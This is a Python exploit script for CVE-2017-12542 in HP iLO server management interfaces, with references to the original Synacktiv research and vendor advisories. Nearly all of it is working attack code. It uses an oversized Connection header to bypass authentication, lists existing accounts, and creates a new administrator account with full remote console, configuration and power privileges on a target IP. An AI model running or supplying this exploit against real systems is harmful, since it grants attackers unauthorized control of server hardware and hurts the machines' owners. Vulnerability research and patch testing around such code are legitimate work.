#!/usr/bin/env python
 
"""
Exploit trigger was presented @reconbrx 2018
 
Vulnerability found and documented by synacktiv:
https://www.synacktiv.com/posts/exploit/rce-vulnerability-in-hp-ilo.html
 
Original advisory from HP:
https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us
 
Other advisories for this CVE:
https://tools.cisco.com/security/center/viewAlert.x?alertId=54930
https://securitytracker.com/id/1039222
 
IMPORTANT: 
THIS EXPLOIT IS JUST FOR ONE OUT OF THE THREE VULNERABILITES COVERED BY CVE-2017-12542!!!
The two other vulns are critical as well, but only triggerable on the host itself.
 
 
"""
 
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import json
import urllib3
 
#all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
exploit_trigger = {'Connection' : 'A'*29}
accounts_url = 'https://%s/rest/v1/AccountService/Accounts'
 
 
 
def test(ip):
     
    url = accounts_url % ip
    try:
        response = requests.get(url, headers = exploit_trigger, verify = False)
    except Exception as e:
        return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))
 
    try:
        data = json.loads(response.text)
    except Exception as e:
        return False, 'Target response not as exected!, Exception data: %s' % (str(e),)
 
    return True, data
 
def exploit(ip, username, password):
    Oem = {
        'Hp' : {
            'LoginName' : username,
            'Privileges': {
                'LoginPriv' : True,
                'RemoteConsolePriv': True,
                'UserConfigPriv' : True,
                'VirtualMediaPriv': True,
                'iLOConfigPriv':True,
                'VirtualPowerAndResetPriv':True,
            }
        }
    }
    body = {
        'UserName':username,
        'Password':password,
        'Oem':Oem
    }
    url = accounts_url % ip
 
 
 
    try:
        response = requests.post(url, json=body, headers = exploit_trigger, verify = False)
    except Exception as e:
        return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))
 
    if response.status_code in [requests.codes.ok, requests.codes.created]:
        return True, response.text
    else:
        return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text)
 
if __name__ == '__main__':
    import argparse
    import sys
    parser = argparse.ArgumentParser(description='CVE-2017-12542 Tester and Exploiter script.')
    parser.add_argument('ip', help='target IP')
    parser.add_argument('-t', action='store_true', default=True, help='Test. Trigger the exploit and list all users')
    parser.add_argument('-e', action='store_true', default=False, help='Exploit. Create a new admin user with the credentials specified in -u and -p')
    parser.add_argument('-u', help='username of the new admin user')
    parser.add_argument('-p', help='password of the new admin user')
 
    args = parser.parse_args()
 
    if args.e:
        if args.u is None or args.p is None:
            print('Username and password must be set for exploiting!')
            sys.exit()
        res, data = exploit(args.ip, args.u, args.p)
        if res:
            print('[+] Sucsessfully added user!')
        else:
            print('[-] Error! %s' % data)
 
    elif args.t:
        res, data = test(args.ip)
        if res:
            print('[+] Target is VULNERABLE!')
            for i in data['Items']:
                print('[+] Account name: %s Username: %s' % (i['Name'], i['Oem']['Hp']['LoginName']))
        else:
            print('[-] Error! %s' % data)